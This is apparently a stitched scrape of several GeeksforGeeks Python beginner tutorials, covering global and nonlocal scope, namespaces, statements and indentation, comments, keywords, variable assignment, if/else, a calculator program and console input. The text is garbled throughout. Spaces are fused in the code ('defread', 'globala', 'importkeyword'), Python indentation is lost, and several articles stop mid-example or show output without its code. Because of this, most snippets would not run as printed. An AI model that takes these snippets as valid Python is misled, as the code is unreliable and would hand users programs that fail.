# global and non local
#initializing variable globally
a =10
# used to read the variable
defread():
print(a)
# changing the value of globally defined variable
defmod1():
globala
a =5
# changing value of only local variable
defmod2():
a =15
# reading initial value of a
# prints 10
read()
# calling mod 1 function to modify value
# modifies value of global a to 5
mod1()
# reading modified value
# prints 5
read()
# calling mod 2 function to modify value
# modifies value of local a to 15, doesn't effect global value
mod2()
# reading modified value
# again prints 5
read()
# demonstrating non local
# inner loop changing the value of outer a
# prints 10
print("Value of a using nonlocal is : ",end="")
defouter():
a =5
definner():
nonlocal a
a =10
inner()
print(a)
outer()
# demonstrating without non local
# inner loop not changing the value of outer a
# prints 5
print("Value of a without using nonlocal is : ",end="")
defouter():
a =5
definner():
a =10
inner()
print(a)
outer()
Output:
10
5
5
Value of a using nonlocal is : 10
Value of a without using nonlocal is : 5
This article is contributed by Manjeet Singh(S. Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
A namespace is a system that has a unique name for each and every object in Python. An object might be a variable or a method. Python itself maintains a namespace in the form of a Python dictionary. Let’s go through an example, a directory-file system structure in computers. Needless to say, that one can have multiple directories having a file with the same name inside every directory. But one can get directed to the file, one wishes, just by specifying the absolute path to the file. Real-time example, the role of a namespace is like a surname. One might not find a single “Alice” in the class there might be multiple “Alice” but when you particularly ask for “Alice Lee” or “Alice Clark” (with a surname), there will be only one (time being don’t think of both first name and surname are same for multiple students). On similar lines, the Python interpreter understands what exact method or variable one is trying to point to in the code, depending upon the namespace. So, the division of the word itself gives a little more information. Its Name (which means name, a unique identifier) + Space(which talks something related to scope). Here, a name might be of any Python method or variable and space depends upon the location from where is trying to access a variable or a method.
Types of namespaces :
When Python interpreter runs solely without any user-defined modules, methods, classes, etc. Some functions like print(), id() are always present, these are built-in namespaces. When a user creates a module, a global namespace gets created, later the creation of local functions creates the local namespace. The built-in namespace encompasses the global namespace and the global namespace encompasses the local namespace.
The lifetime of a namespace :
A lifetime of a namespace depends upon the scope of objects, if the scope of an object ends, the lifetime of that namespace comes to an end. Hence, it is not possible to access the inner namespace’s objects from an outer namespace.
Example:
Python3
# var1 is in the global namespace
var1 =5
defsome_func():
# var2 is in the local namespace
var2 =6
defsome_inner_func():
# var3 is in the nested local
# namespace
var3 =7
As shown in the following figure, the same object name can be present in multiple namespaces as isolation between the same name is maintained by their namespace.
But in some cases, one might be interested in updating or processing global variables only, as shown in the following example, one should mark it explicitly as global and the update or process. Note that the line “count = count +1” references the global variable and therefore uses the global variable, but compare this to the same line written “count = 1”. Then the line “global count” is absolutely needed according to scope rules.
Python3
# Python program processing
# global variable
count =5
defsome_method():
globalcount
count =count +1
print(count)
some_method()
Output:
6
Scope of Objects in Python :
Scope refers to the coding region from which a particular Python object is accessible. Hence one cannot access any particular object from anywhere from the code, the accessing has to be allowed by the scope of the object. Let’s take an example to have a detailed understanding of the same:
Example 1:
Python3
# Python program showing
# a scope of object
defsome_func():
print("Inside some_func")
defsome_inner_func():
var =10
print("Inside inner function, value of var:",var)
some_inner_func()
print("Try printing var from outer function: ",var)
some_func()
Output:
Inside some_func
Inside inner function, value of var: 10
Traceback (most recent call last):
File "/home/1eb47bb3eac2fa36d6bfe5d349dfcb84.py", line 8, in
some_func()
File "/home/1eb47bb3eac2fa36d6bfe5d349dfcb84.py", line 7, in some_func
print("Try printing var from outer function: ",var)
NameError: name 'var' is not defined
Instructions written in the source code for execution are called statements. There are different types of statements in the Python programming language like Assignment statements, Conditional statements, Looping statements, etc. These all help the user to get the required output. For example, n = 50 is an assignment statement. Multi-Line Statements: Statements in Python can be extended to one or more lines using parentheses (), braces {}, square brackets [], semi-colon (;), continuation character slash (\). When the programmer needs to do long calculations and cannot fit his statements into one line, one can make use of these characters. Example :
Declared using Continuation Character (\):
s = 1 + 2 + 3 + \
4 + 5 + 6 + \
7 + 8 + 9
Declared using parentheses () :
n = (1 * 2 * 3 + 7 + 8 + 9)
Declared using square brackets [] :
footballer = ['MESSI',
'NEYMAR',
'SUAREZ']
Declared using braces {} :
x = {1 + 2 + 3 + 4 + 5 + 6 +
7 + 8 + 9}
Declared using semicolons(;) :
flag = 2; ropes = 3; pole = 4
Indentation
A block is a combination of all these statements. Block can be regarded as the grouping of statements for a specific purpose. Most of the programming languages like C, C++, Java use braces { } to define a block of code. One of the distinctive features of Python is its use of indentation to highlighting the blocks of code. Whitespace is used for indentation in Python. All statements with the same distance to the right belong to the same block of code. If a block has to be more deeply nested, it is simply indented further to the right. You can understand it better by looking at the following lines of code:
Python3
# Python program showing
# indentation
site ='gfg'
ifsite =='gfg':
print('Logging on to geeksforgeeks...')
else:
print('retype the URL.')
print('All set !')
Output:
Logging on to geeksforgeeks...
All set !
The lines print(‘Logging on to geeksforgeeks…’) and print(‘retype the URL.’) are two separate code blocks. The two blocks of code in our example if-statement are both indented four spaces. The final print(‘All set!’) is not indented, and so it does not belong to the else-block.
Python3
j =1
while(j<=5):
print(j)
j =j +1
Output:
1
2
3
4
5
To indicate a block of code in Python, you must indent each line of the block by the same whitespace. The two lines of code in the while loop are both indented four spaces. It is required for indicating what block of code a statement belongs to. For example, j=1 and while(j<=5): is not indented, and so it is not within the while block. So, Python code structures by indentation.
Comments
Python developers often make use of the comment system as, without the use of it, things can get real confusing, real fast. Comments are the useful information that the developers provide to make the reader understand the source code. It explains the logic or a part of it used in the code. Comments are usually helpful to someone maintaining or enhancing your code when you are no longer around to answer questions about it. These are often cited as a useful programming convention that does not take part in the output of the program but improves the readability of the whole program. There are two types of comments in Python: Single line comments: Python single line comment starts with hashtag symbol with no white spaces (#) and lasts till the end of the line. If the comment exceeds one line then put a hashtag on the next line and continue the comment. Python’s single-line comments are proved useful for supplying short explanations for variables, function declarations, and expressions. See the following code snippet demonstrating single line comment: Code 1:
Python3
# This is a comment
# Print “GeeksforGeeks !” to console
print("GeeksforGeeks")
Code 2:
Python3
a, b =1, 3# Declaring two integers
sum=a +b # adding two integers
print(sum) # displaying the output
Multi-line string as acomment: Python multi-line comment is a piece of text enclosed in a delimiter (“””) on each end of the comment. Again there should be no white space between delimiter (“””). They are useful when the comment text does not fit into one line; therefore need to span across lines. Multi-line comments or paragraphs serve as documentation for others reading your code. See the following code snippet demonstrating multi-line comment: Code 1:
In this article, you would come to know about proper structuring and formatting your python programs.
Python Statements In general, the interpreter reads and executes the statements line by line i.e sequentially. Though, there are some statements that can alter this behavior like conditional statements. Mostly, python statements are written in such a format that one statement is only written in a single line. The interpreter considers the ‘new line character’ as the terminator of one instruction. But, writing multiple statements per line is also possible that you can find below. Examples:
# Example 1
print('Welcome to Geeks for Geeks')
Output:
Welcome to Geeks for Geeks
# Example 2
x =[1, 2, 3, 4]
# x[1:3] means that start from the index
# 1 and go upto the index 2
print(x[1:3])
""" In the above mentioned format, the first
index is included, but the last index is not
included."""
Output:
[2, 3]
Multiple Statements per Line We can also write multiple statements per line, but it is not a good practice as it reduces the readability of the code. Try to avoid writing multiple statements in a single line. But, still you can write multiple lines by terminating one statement with the help of ‘;’. ‘;’ is used as the terminator of one statement in this case. For Example, consider the following code.
# Example
a =10; b =20; c =b +a
print(a); print(b); print(c)
Output:
10
20
30
Line Continuation to avoid left and right scrolling Some statements may become very long and may force you to scroll the screen left and right frequently. You can fit your code in such a way that you do not have to scroll here and there. Python allows you to write a single statement in multiple lines, also known as line continuation. Line continuation enhances readability as well.
# Bad Practice as width of this code is too much.
#code
x = 10
y = 20
z = 30
no_of_teachers = x
no_of_male_students = y
no_of_female_students = z
if (no_of_teachers == 10 and no_of_female_students == 30 and no_of_male_students == 20 and (x + y) == 30):
print('The course is valid')
# This could be done instead:
if (no_of_teachers == 10 and no_of_female_students == 30
and no_of_male_students == 20 and x + y == 30):
print('The course is valid')
Types of Line Continuation In general, there are two types of line continuation
Implicit Line Continuation This is the most straightforward technique in writing a statement that spans multiple lines. Any statement containing opening parentheses (‘(‘), brackets (‘[‘), or curly braces (‘{‘) is presumed to be incomplete until all matching parentheses, square brackets, and curly braces have been encountered. Until then, the statement can be implicitly continued across lines without raising an error. Examples:
# Example 1
# The following code is valid
a =[
[1, 2, 3],
[3, 4, 5],
[5, 6, 7]
]
print(a)
Output:
[[1, 2, 3], [3, 4, 5], [5, 6, 7]]
# Example 2
# The following code is also valid
person_1 =18
person_2 =20
person_3 =12
if(
person_1 >=18and
person_2 >=18and
person_3 < 18
):
print('2 Persons should have ID Cards')
Output:
2 Persons should have ID Cards
Explicit Line Continuation Explicit Line joining is used mostly when implicit line joining is not applicable. In this method, you have to use a character that helps the interpreter to understand that the particular statement is spanning more than one lines. Backslash (\) is used to indicate that a statement spans more than one line. The point is to be noted that ” must be the last character in that line, even white-space is not allowed. See the following example for clarification
# Example
x =\
1+2\
+5+6\
+10
print(x)
Output:
24
Comments in Python Writing comments in the code are very important and they help in code readability and also tell more about the code. It helps you to write details against a statement or a chunk of code. Interpreter ignores the comments and does not count them in commands. In this section, we’ll learn how to write comments in Python. Symbols used for writing comments include Hash (#) or Triple Double Quotation marks(“””). Hash is used in writing single line comments that do not span multiple lines. Triple Quotation Marks are used to write multiple line comments. Three triple quotation marks to start the comment and again three quotation marks to end the comment. Consider the following examples:
# Example 1
####### This example will print Hello World ####### print('Hello World') # This is a comment
# Example 2
""" This example will demonstrate
multiple comments """
""" The following
a variable contains the
string 'How old are you?'
"""
a ='How old are you?'
""" The following statement prints
what's inside the variable a
"""
print(a)
Note Do note that Hash (#) inside a string does not make it a comment. Consider the following example for demonstration.
# Example
""" The following statement prints the string stored
in the variable """
a ='This is # not a comment #'
print(a) # Prints the string stored in a
White spaces The most common whitespace characters are the following:
Character
ASCII Code
Literal Expression
Space
32 (0x20)
‘ ‘
tab
9 (0x9)
‘\t’
newline
10 (0xA)
‘\n’
* You can always refer to ASCII Table by clicking here.
Whitespace is mostly ignored, and mostly not required, by the Python interpreter. When it is clear where one token ends and the next one starts, whitespace can be omitted. This is usually the case when special non-alphanumeric characters are involved. Examples:
# Example 1
# This is correct but whitespace can improve readability
a =1-2# Better way is a = 1 - 2
print(a)
# Example 2
# This is correct
# Whitespace here can improve readability.
x =10
flag =(x ==10)and(x<12)
print(flag)
""" Readable form could be as follows
x = 10
flag = (x == 10) and (x < 12)
print(flag)
"""
# Try the more readable code yourself
Whitespaces are necessary in separating the keywords from the variables or other keywords. Consider the following example.
# Example
x =[1, 2, 3]
y =2
""" Following is incorrect, and will generate syntax error
a = yin x
"""
# Corrected version is written as
a =y inx
print(a)
Whitespaces as Indentation Python’s syntax is quite easy, but still you have to take some care in writing the code. Indentation is used in writing python codes. Whitespaces before a statement have significant role and are used in indentation. Whitespace before a statement can have a different meaning. Let’s try an example.
# Example
print('foo') # Correct
print('foo') # This will generate an error
# The error would be somewhat 'unexpected indent'
Leading whitespaces are used to determine the grouping of the statements like in loops or control structures etc. Example:
# Example
x =10
while(x !=0):
if(x > 5): # Line 1
print('x > 5') # Line 2
else: # Line 3
print('x < 5') # Line 4
x -=2# Line 5
"""
Lines 1, 3, 5 are on same level
Line 2 will only be executed if if condition becomes true.
Line 4 will only be executed if if condition becomes false.
"""
Output:
x > 5
x > 5
x > 5
x < 5
x < 5
My Personal Notesarrow_drop_up
How to check if a string is a valid keyword in Python?
In programming, a keyword is a “reserved word” by the language which conveys special meaning to the interpreter. It may be a command or a parameter. Keywords cannot be used as a variable name in the program snippet. Keywords in Python: Python language also reserves some keywords that convey special meaning. Knowledge of these is a necessary part of learning this language. Below is a list of keywords registered by python. False, elif, lambda, None, else, nonlocal, True, except, not, and, finally, or, as, for, pass, assert, from, raise, break, global, return, class, if, try, continue, import, while def, in, with, del is, yield,
How to check if a string is a keyword?
Python in its language defines an inbuilt module “keyword” which handles certain operations related to keywords. A function “iskeyword()” checks if a string is a keyword or not. Returns true if a string is akeyword, else returns false.
Python
#Instead of writing this massive Python code
#we can also code this in a different way
#Python code to demonstrate working of iskeyword()
# importing "keyword" for keyword operations
importkeyword
importkeyword
# initializing strings for testing while putting them in an array
for is a python keyword
geeksforgeeks is not a python keyword
elif is a python keyword
elseif is not a python keyword
nikhil is not a python keyword
assert is a python keyword
shambhavi is not a python keyword
True is a python keyword
False is a python keyword
akshat is not a python keyword
akash is not a python keyword
break is a python keyword
ashty is not a python keyword
lambda is a python keyword
suman is not a python keyword
try is a python keyword
vaishnavi is not a python keyword
How to print alist of all keywords
Sometimes, remembering all the keywords can be a difficult task while assigning variable names. Hence a function “kwlist()” is provided in the “keyword” module which prints all the 33 python keywords.
Python
#Python code to demonstrate working of iskeyword()
# importing "keyword" for keyword operations
importkeyword
# printing all keywords at once using "kwlist()"
print("The list of keywords is : ")
print(keyword.kwlist)
Output:
The list of keywords is :
['False', 'None', 'True', 'and', 'as', 'assert', 'break', 'class',
'continue', 'def', 'del', 'elif', 'else', 'except', 'finally',
'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda',
'nonlocal', 'not', 'or', 'pass', 'raise', 'return',
'try', 'while', 'with', 'yield']
This article is contributed by Manjeet Singh(S.Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
How to assign values to variables in Python and other languages
This article discusses methods to assign values to variables.
Method 1: Direct Initialisation Method
In this method, you will directly assign the value in python but in other programming languages like C, C++, you have to first initialise the data type of variable. So, In Python, there is no need of explicit declaration in variables as compare to using some other programming languages. You can start using the variable right away.
C++
// C++ code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
#include <bits/stdc++.h>
usingnamespacestd;
intmain()
{
// initialising variables directly
inta = 5;
// printing value of a
cout << "The value of a is: "<< a;
}
C
// C code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
#include <stdio.h>
intmain()
{
// initialising variables directly
inta = 5;
// printing value of a
printf("The value of a is: %d", a);
}
Java
// Java code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
importjava.io.*;
classGFG {
publicstaticvoidmain(String args[])
{
// initialising variables directly
inta = 5;
// printing value of a
System.out.println("The value of a is: "+ a);
}
}
Python3
# Python 3 code to demonstrate variable assignment
# upon condition using Direct Initialisation Method
# initialising variable directly
a =5
# printing value of a
print("The value of a is: "+str(a))
C#
// C# code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
usingSystem;
classGFG{
publicstaticvoidMain(String []args)
{
// Initialising variables directly
inta = 5;
// Printing value of a
Console.Write("The value of a is: "+ a);
}
}
// This code is contributed by shivanisinghss2110
Javascript
<script>
// JavaScript code to demonstrate variable assignment
// upon condition using Direct Initialisation Method
// initialising variables directly
vara = 5;
// printing value of a
document.write("The value of a is: "+ a);
</script>
// this code is contributed by shivanisinghss2110
Output:
The value of a is: 5
Method 2: Using Conditional Operator (?:)
This method is also called Ternary operators. So Basic Syntax of Conditional Operator is:-
condition? True_value : False_Value
Using Conditional Operator, you can write one line code in python. The conditional operator works in a such way that first evaluates the condition, if condition is true , first expression( True_value) will print else evaluates the second expression(False_Value).
Below is the syntax in other popular languages.
C++
// C++ code to demonstrate variable assignment
// upon condition using Conditional Operator
#include <bits/stdc++.h>
usingnamespacestd;
intmain()
{
// initialising variables using Conditional Operator
inta = 20 > 10 ? 1 : 0;
// printing value of a
cout << "The value of a is: "<< a;
}
C
// C code to demonstrate variable assignment
// upon condition using Conditional Operator
#include <stdio.h>
intmain()
{
// initialising variables using Conditional Operator
inta = 20 > 10 ? 1 : 0;
// printing value of a
printf("The value of a is: %d", a);
}
Java
// Java code to demonstrate variable assignment
// upon condition using Conditional Operator
importjava.io.*;
classGFG {
publicstaticvoidmain(String args[])
{
// initialising variables using Conditional Operator
inta = 20> 10? 1: 0;
// printing value of a
System.out.println("The value of a is: "+ a);
}
}
Python3
# Python3 code to demonstrate variable assignment
# upon condition using Conditional Operator
# Initialising variables using Conditional Operator
a =1if20> 10else0
# Printing value of a
print("The value of a is: ", str(a))
# This code is contributed by shivanisinghss2110
C#
// C# code to demonstrate variable assignment
// upon condition using Conditional Operator
usingSystem;
classGFG {
publicstaticvoidMain(String []args)
{
// initialising variables using Conditional Operator
inta = 20 > 10 ? 1 : 0;
// printing value of a
Console.Write("The value of a is: "+ a);
}
}
// this code is contributed by shivanisinghss2110
Javascript
<script>
// JavaScript code to demonstrate variable assignment
// upon condition using Conditional Operator
// initialising variables using Conditional Operator
vara = 20 > 10 ? 1 : 0;
// printing value of a
document.write("The value of a is: "+ a);
// This code is contributed by shivanisinghss2110
</script>
Output:
The value of a is: 1
One liner if-else instead of Conditional Operator (?:) in Python
Python3
# Python 3 code to demonstrate variable assignment
# upon condition using One liner if-else
# initialising variable using Conditional Operator
Generally, people switching from C/C++ to Python wonder how to print two or more variables or statements without going into a new line in python. Since the python print() function by default ends with a newline. Python has a predefined format if you use print(a_variable) then it will go to the next line automatically.
For example:
Python3
print("geeks")
print("geeksforgeeks")
Will result in this:
geeks
geeksforgeeks
But sometimes it may happen that we don’t want to go to the next line but want to print on the same line. So what we can do?
There comes situations in real life when we need to make some decisions and based on these decisions, we decide what should we do next. Similar situations arise in programming also where we need to make some decisions and based on these decisions we will execute the next block of code. Decision-making statements in programming languages decide the direction of the flow of program execution.
In Python, if else elif statement is used for decision making.
if statement
if statement is the most simple decision-making statement. It is used to decide whether a certain statement or block of statements will be executed or not i.e if a certain condition is true then a block of statement is executed otherwise not.
Syntax:
if condition:
# Statements to execute if
# condition is true
Here, the condition after evaluation will be either true or false. if statement accepts boolean values – if the value is true then it will execute the block of statements below it otherwise not. We can use condition with bracket ‘(‘ ‘)’ also.
As we know, python uses indentation to identify a block. So the block under an if statement will be identified as shown in the below example:
if condition:
statement1
statement2
# Here if the condition is true, if block
# will consider only statement1 to be inside
# its block.
Flowchart of Python if statement
Example: Python if Statement
Python3
# python program to illustrate If statement
i =10
if(i > 15):
print("10 is less than 15")
print("I am Not in if")
Output:
I am Not in if
As the condition present in the if statement is false. So, the block below the if statement is not executed.
if-else
The if statement alone tells us that if a condition is true it will execute a block of statements and if the condition is false it won’t. But what if we want to do something else if the condition is false. Here comes the else statement. We can use the else statement with if statement to execute a block of code when the condition is false.
Syntax:
if (condition):
# Executes this block if
# condition is true
else:
# Executes this block if
# condition is false
FlowChart of Python if else statement
Example 1: Python if else statement
Python3
# python program to illustrate If else statement
#!/usr/bin/python
i =20
if(i < 15):
print("i is smaller than 15")
print("i'm in if Block")
else:
print("i is greater than 15")
print("i'm in else Block")
print("i'm not in if and not in else Block")
Output:
i is greater than 15
i'm in else Block
i'm not in if and not in else Block
The block of code following the else statement is executed as the condition present in the if statement is false after calling the statement which is not in block(without spaces).
Example 2: Python if else in list comprehension
Python3
# Explicit function
defdigitSum(n):
dsum =0
forele instr(n):
dsum +=int(ele)
returndsum
# Initializing list
List=[367, 111, 562, 945, 6726, 873]
# Using the function on odd elements of the list
newList =[digitSum(i) fori inListifi & 1]
# Displaying new list
print(newList)
Output
[16, 3, 18, 18]
nested-if
A nested if is an if statement that is the target of another if statement. Nested if statements mean an if statement inside another if statement. Yes, Python allows us to nest if statements within if statements. i.e, we can place an if statement inside another if statement.
Syntax:
if (condition1):
# Executes when condition1 is true
if (condition2):
# Executes when condition2 is true
# if Block is end here
# if Block is end here
Flowchart of Python Nested if Statement
Example: Python Nested if
Python3
# python program to illustrate nested If statement
#!/usr/bin/python
i =10
if(i ==10):
# First if statement
if(i < 15):
print("i is smaller than 15")
# Nested - if statement
# Will only be executed if statement above
# it is true
if(i < 12):
print("i is smaller than 12 too")
else:
print("i is greater than 15")
Output:
i is smaller than 15
i is smaller than 12 too
if-elif-else ladder
Here, a user can decide among multiple options. The if statements are executed from the top down. As soon as one of the conditions controlling the if is true, the statement associated with that if is executed, and the rest of the ladder is bypassed. If none of the conditions is true, then the final else statement will be executed.
Syntax:
if (condition):
statement
elif (condition):
statement
.
.
else:
statement
FlowChart of Python if else elif statements
Example: Python if else elif statements
Python3
# Python program to illustrate if-elif-else ladder
#!/usr/bin/python
i =20
if(i ==10):
print("i is 10")
elif(i ==15):
print("i is 15")
elif(i ==20):
print("i is 20")
else:
print("i is not present")
Output:
i is 20
Short Hand if statement
Whenever there is only a single statement to be executed inside the if block then shorthand if can be used. The statement can be put on the same line as the if statement.
Syntax:
if condition: statement
Example: Python if shorthand
Python3
# Python program to illustrate short hand if
i =10
ifi < 15:
print("i is less than 15")
Output:
i is less than 15
Short Hand if-else statement
This can be used to write the if-else statements in a single line where there is only one statement to be executed in both if and else block.
Syntax:
statement_when_True if condition else statement_when_False
Here we will be making a simple calculator in which we can perform basic arithmetic operations like addition, subtraction, multiplication, or division.
Example 1) GUI of a Calculator Which will help to add, subtract , Multiply and divide
Example 2: Create a simple calculator which can perform basic arithmetic operations like addition, subtraction, multiplication, or division depending upon the user input. Approach :
User chooses the desired operation. Options 1, 2, 3, and 4 are valid.
Two numbers are taken and an if…elif…else branching is used to execute a particular section.
Using functions add(), subtract(), multiply() and divide() evaluate respective operations.
Please select operation -
1. Add
2. Subtract
3. Multiply
4. Divide
Select operations form 1, 2, 3, 4 : 1
Enter first number : 20
Enter second number : 13
20 + 13 = 33
Python
# Python program for simple calculator
# Function to add two numbers
defadd(num1, num2):
returnnum1 +num2
# Function to subtract two numbers
defsubtract(num1, num2):
returnnum1 -num2
# Function to multiply two numbers
defmultiply(num1, num2):
returnnum1 *num2
# Function to divide two numbers
defdivide(num1, num2):
returnnum1 /num2
print("Please select operation -\n" \
"1.Add\n" \
"2.Subtract\n" \
"3.Multiply\n" \
"4.Divide\n")
# Take input from the user
select =int(input("Select operations form 1, 2, 3, 4:"))
number_1 =int(input("Enter first number: "))
number_2 =int(input("Enter second number: "))
ifselect ==1:
print(number_1, "+", number_2, "=",
add(number_1, number_2))
elifselect ==2:
print(number_1, "-", number_2, "=",
subtract(number_1, number_2))
elifselect ==3:
print(number_1, "*", number_2, "=",
multiply(number_1, number_2))
elifselect ==4:
print(number_1, "/", number_2, "=",
divide(number_1, number_2))
else:
print("Invalid input")
Output:
Please select operation -
1. Add
2. Subtract
3. Multiply
4. Divide
Select operations form 1, 2, 3, 4 : 1
Enter first number : 15
Enter second number : 14
15 + 14 = 29
Python is a high-level, interpreted, and general-purpose dynamic programming language that focuses on code readability. It has fewer steps when compared to Java and C. It was founded in 1991 by developer Guido Van Rossum. Python ranks among the most popular and fastest-growing languages in the world. Python is a powerful, flexible, and easy-to-use language. In addition, the community is very active there. It is used in many organizations as it supports multiple programming paradigms. It also performs automatic memory management.
Advantages :
Presence of third-party modules
Extensive support libraries(NumPy for numerical calculations, Pandas for data analytics etc)
Open source and community development
Versatile, Easy to read, learn and write
User-friendly data structures
High-level language
Dynamically typed language(No need to mention data type based on the value assigned, it takes data type)
Object-oriented language
Portable and Interactive
Ideal for prototypes – provide more functionality with less coding
Highly Efficient(Python’s clean object-oriented design provides enhanced process control, and the language is equipped with excellent text processing and integration capabilities, as well as its own unit testing framework, which makes it more efficient.)
(IoT)Internet of Things Opportunities
Interpreted Language
Portable across Operating systems
Applications :
GUI based desktop applications
Graphic design, image processing applications, Games, and Scientific/ computational Applications
Web frameworks and applications
Enterprise and Business applications
Operating Systems
Education
Database Access
Language Development
Prototyping
Software Development
Organizations using Python :
Google(Components of Google spider and Search Engine)
Developers often have a need to interact with users, either to get data or to provide some sort of result. Most programs today use a dialog box as a way of asking the user to provide some type of input. While Python provides us with two inbuilt functions to read the input from the keyboard.
input ( prompt )
raw_input ( prompt )
input ( ) : This function first takes the input from the user and convert it into string. Type of the returned object always will be <type ‘str’>. It does not evaluate the expression it just return the complete statement as String. For example –
Python3
# Python program showing
# a use of input()
val =input("Enter your value: ")
print(val)
Output:
How the input function works in Python :
When input() function executes program flow will be stopped until the user has given an input.
The text or message display on the output screen to ask a user to enter input value is optional i.e. the prompt, will be printed on the screen is optional.
Whatever you enter as input, input function convert it into a string. if you enter an integer value still input() function convert it into a string. You need to explicitly convert it into an integer in your code using typecasting.
Code:
Python3
# Program to check input
# type in Python
num =input("Enter number :")
print(num)
name1 =input("Enter name : ")
print(name1)
# Printing type of input value
print("type of number", type(num))
print("type of name", type(name1))
Output :
raw_input ( ) : This function works in older version (like Python 2.x). This function takes exactly what is typed from the keyboard, convert it to string and then return it to the variable in which we want to store. For example –
Python
# Python program showing
# a use of raw_input()
g =raw_input("Enter your name : ")
printg
Output :
Here, g is a variable which will get the string value, typed by user during the execution of program. Typing of data for the raw_input() function is terminated by enter key. We can use raw_input() to enter numeric data also. In that case we use typecasting.For more details on typecasting refer this.
What is Console in Python? Console (also called Shell) is basically a command line interpreter that takes input from the user i.e one command at a time and interprets it. If it is error free then it runs the command and gives required output otherwise shows the error message. A Python Console looks like this.
Here we write command and to execute the command just press enter key and your command will be interpreted. For coding in Python you must know the basics of the console used in Python.
The primary prompt of the python console is the three greater than symbols
>>>
You are free to write the next command on the shell only when after executing the first command these prompts have appeared. The Python Console accepts command in Python which you write after the prompt.
Accepting Input from Console User enters the values in the Console and that value is then used in the program as it was required. To take input from the user we make use of a built-in function input().
# input
input1 =input()
# output
print(input1)
We can also type cast this input to integer, float or string by specifying the input() function inside the type.
Typecasting the input to Integer: There might be conditions when you might require integer input from user/Console, the following code takes two input(integer/float) from console and typecasts them to integer then prints the sum.
# input
num1 =int(input())
num2 =int(input())
# printing the sum in integer
print(num1 +num2)
Typecasting the input to Float: To convert the input to float the following code will work out.
# input
num1 =float(input())
num2 =float(input())
# printing the sum in float
print(num1 +num2)
Typecasting the input to String: All kind of input can be converted to string type whether they are float or integer. We make use of keyword str for typecasting.
# input
string =str(input())
# output
print(string)
How to Input Multiple Values From User In One Line
Note that we don’t have to explicitly specify split(‘ ‘) because split() uses any whitespace characters as a delimiter as default.
One thing to note in the above Python code is, both x and y would be of string. We can convert them to int using another line
x, y = [int(x), int(y)]
# We can also use list comprehension
x, y = [int(x) for x in [x, y]]
Below is complete one line code to read two integer variables from standard input using split and list comprehension
# Reads two numbers from input and typecasts them to int using
# list comprehension
x, y =[int(x) forx ininput().split()]
# Reads two numbers from input and typecasts them to int using
# map function
x, y =map(int, input().split())
END Parameter By default python’s print() function ends with a newline. A programmer with C/C++ background may wonder how to print without newline.
Python’s print() function comes with a parameter called ‘end’. By default, the value of this parameter is ‘\n’, i.e. the new line character. You can end a print statement with any character/string using this parameter.
# This Python program must be run with
# Python 3 as it won't work with 2.7.
# ends the output with a <space>
print("Welcome to", end =' ')
print("GeeksforGeeks", end =' ')
Output :
Welcome to GeeksforGeeks
One more program to demonstrate working of end parameter.
The developer often wants a user to enter multiple values or inputs in one line. In C++/C user can take multiple inputs in one line using scanf but in Python user can take multiple values or inputs in one line by two methods.
Using split() method
Using List comprehension
Using split() method : This function helps in getting multiple inputs from users. It breaks the given input by the specified separator. If a separator is not provided then any white space is a separator. Generally, users use a split() method to split a Python string but one can use it in taking multiple inputs.
Syntax :
input().split(separator, maxsplit)
Example :
Python3
# Python program showing how to
# multiple input using split
# taking two inputs at a time
x, y =input("Enter two values: ").split()
print("Number of boys: ", x)
print("Number of girls: ", y)
print()
# taking three inputs at a time
x, y, z =input("Enter three values: ").split()
print("Total number of students: ", x)
print("Number of boys is : ", y)
print("Number of girls is : ", z)
print()
# taking two inputs at a time
a, b =input("Enter two values: ").split()
print("First number is {} and second number is {}".format(a, b))
print()
# taking multiple inputs at a time
# and type casting using list() function
x =list(map(int, input("Enter multiple values: ").split()))
print("List of students: ", x)
Output:
Using List comprehension : List comprehension is an elegant way to define and create list in Python. We can create lists just like mathematical statements in one line only. It is also used in getting multiple inputs from a user.
Example:
Python3
# Python program showing
# how to take multiple input
# using List comprehension
# taking two input at a time
x, y =[int(x) forx ininput("Enter two values: ").split()]
print("First Number is: ", x)
print("Second Number is: ", y)
print()
# taking three input at a time
x, y, z =[int(x) forx ininput("Enter three values: ").split()]
print("First Number is: ", x)
print("Second Number is: ", y)
print("Third Number is: ", z)
print()
# taking two inputs at a time
x, y =[int(x) forx ininput("Enter two values: ").split()]
print("First number is {} and second number is {}".format(x, y))
print()
# taking multiple inputs at a time
x =[int(x) forx ininput("Enter multiple values: ").split()]
print("Number of list is: ", x)
Output :
Note: The above examples take input separated by spaces. In case we wish to take input separated by comma (, ), we can use the following:
Python3
# taking multiple inputs at a time separated by comma
x =[int(x) forx ininput("Enter multiple value: ").split(",")]
Python is an amazingly user-friendly language with the only flaw of being slow. In comparison to C, C++, and Java, it is quite slower. Online coding platforms, if C/C++ limit provided is X. Usually, in Java time provided is 2X and Python, it’s 5X. To improve the speed of code execution for input/output intensive problems, languages have various input and output procedures.
An Example Problem : Consider a question of finding the sum of N numbers inputted from the user. Input a number N. Input N numbers are separated by a single space in a line.
Examples:
Input :
5
1 2 3 4 5
Output :
15
Different Python solutions for the above Problem :
Normal Method Python: (Python 2.7) 1. raw_input() takes an optional prompt argument. It also strips the trailing newline character from the string it returns. 2. print is just a thin wrapper that formats the inputs (space between args and newline at the end) and calls the write function of a given object.
Python3
# basic method of input output
# input N
n =int(input())
# input the array
arr =[int(x) forx ininput().split()]
# initialize variable
summation =0
# calculate sum
forx inarr:
summation +=x
# print answer
print(summation)
A bit faster method using inbuilt stdin, stdout: (Python 2.7) 1. sys.stdin on the other hand is a File Object. It is like creating any other file object one could create to read input from the file. In this case, the file will be a standard input buffer. 2. stdout.write(‘D\n’) is faster than print ‘D’. 3. Even faster is to write all once by stdout.write(“”.join(list-comprehension)) but this makes memory usage dependent on the size of the input.
Python3
# import inbuilt standard input output
fromsys importstdin, stdout
# suppose a function called main() and
# all the operations are performed
